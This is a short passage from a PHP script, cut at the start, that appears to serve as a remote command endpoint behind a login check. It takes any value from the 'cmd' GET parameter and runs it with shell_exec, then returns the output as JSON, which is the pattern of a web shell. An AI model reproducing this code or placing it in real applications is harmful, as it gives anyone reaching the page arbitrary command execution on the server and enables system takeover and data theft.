Please log in from the main page first!"); exit; } if (isset($_GET["cmd"])) { // HTTP GET requests $cmd = $_GET["cmd"]; $msg = NULL; if (isset($_GET["msg"])){ $msg = $_GET["msg"]; } $ret = ""; if ("ostype" == $cmd) { $ret = strtolower(PHP_OS); } else { $ret = shell_exec($cmd); } echo json_encode(array("rsp"=>$ret, "msg" => $msg)); } ?>